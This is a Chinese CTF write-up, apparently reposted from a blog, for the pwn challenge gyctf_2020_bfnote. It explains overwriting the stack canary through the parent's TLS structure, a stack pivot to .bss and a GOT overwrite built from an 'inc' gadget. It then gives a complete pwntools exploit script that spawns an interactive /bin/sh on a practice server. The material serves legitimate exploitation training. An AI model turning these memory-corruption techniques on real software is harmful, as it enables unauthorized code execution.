gyctf_2020_bfnote
也是一道利用tls结构体来修改canary的题目,只不过这个是控制父进程的tls(父进程的tls结构体位于映射区,子进程的在栈的高地址处,其实都是在映射区,只不过子进程的栈也在映射区,故可能更好控制)
保护策略
漏洞利用
1、栈溢出的时候控制ebp打一个栈迁移到bss
2、向bss输入的数据作用是修改atoi的got表,
3、通过控制索引修改canary
需要注意的是第二步修改atoi的方法利用了inc x 这个指令,这个意思是将x加一,这是因为地址的后一个半字节不变,而我们所作的就是从倒数第二个字节开始加,让这二者保持一致,最后一个字节同过再执行一个read输入,当然你也可以爆破
由于bss所给的版本找不到,所以还需要自己用readelf再找一下二者的偏移
exp
from tools import*
context.log_level='debug'
p,e,libc=load('a','node4.buuoj.cn:28185')
inc_ebp=0x08048434 #inc dword ptr [ebp - 0x17fa8b40] ; ret 0
pop_ebp=0x080489db
#can stack over
debug(p,0x80487FC,0x804882A,0x80488E2,0x804895E)
payload=b'a'*0X32+p32(0xdeadbeef)+p32(0)+p32(0x0804A060+4)+p32(0)#bss
p.sendlineafter("Give your description : ",payload)
#bss
payload=p32(pop_ebp)+p32(0x804a02d+0x17fa8b40)+p32(inc_ebp)*0xd9#0xdb
payload+=p32(e.plt['read'])+p32(0x08048656)+p32(0)+p32(e.got['atol'])+p32(0x100)+p32(0x08048656)
p.sendlineafter("Give your postscript : ",payload)
p.sendlineafter("Give your notebook size : ",str(0x50000))
p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
p.sendlineafter("\nGive your title : ",'c'*0x10)
p.sendlineafter("Give your note : ",p32(0xdeadbeef))
pause()
p.send('\x40')
pause()
p.send("/bin/sh\x00")
p.interactive()
参考
gyctf_2020_bfnote | ZIKH26's Blog
标签:gyctf,Give,payload,bfnote,2020,sendlineafter,p32,ebp,your From: https://www.cnblogs.com/trunk/p/16951961.html